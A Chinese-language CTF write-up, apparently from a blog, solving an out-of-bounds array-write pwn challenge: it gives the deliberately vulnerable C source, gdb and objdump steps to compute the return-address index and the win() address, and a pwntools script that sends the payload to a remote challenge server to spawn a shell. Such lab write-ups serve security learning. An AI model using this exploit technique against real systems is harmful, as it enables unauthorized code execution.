原始碼
#include <stdio.h>
#include <stdlib.h>
// gcc chal.c -o chal -fno-stack-protector -no-pie
void win() {
system("/bin/sh");
}
int main() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
printf("Welcome to the 8-byte OOB PWN challenge!\n");
long arr[5] = {80,60,70,90,100};
printf("Enter an index to write: ");
int index;
scanf("%d", &index);
printf("Enter a value to write (hex): ");
long value;
scanf("%lx", &value);
arr[index] = value;
printf("Done! Array[%d] = 0x%lx\n", index, value);
printf("Goodbye!\n");
return 0;
}
解題
解題思路
目標要跳到win()這個function,可利用OOB的方法,將index設定超過4,使其可以到別的位置修改值,有陷阱要注意run到接近ret位置在看stack,不要輸入完馬上看
確認保護機制
checksec --file=chal

尋找需要的資訊
計算要跳躍的index(return addr位置-陣列第一格的位置,因為是long所以每8byte一組)
gdb ./chal
b main
run

0xdf48-0xdf10=0x38
56/8=7
尋找win function的位置(要跳到bb那個位置,避開push,再少8記憶體就能對齊了)
objdump -d chal|grep -A 10 "<win>"

00000000004011b6 <win>:
4011b6: f3 0f 1e fa endbr64
4011ba: 55 push %rbp
4011bb: 48 89 e5 mov %rsp,%rbp
實際payload
from pwn import *
host='66.235.110.67'
port=20001
r=remote(host,port)
r.sendline(b'7')
r.sendline(b'0x4011bb')
r.interactive()
flag



說些什麼吧!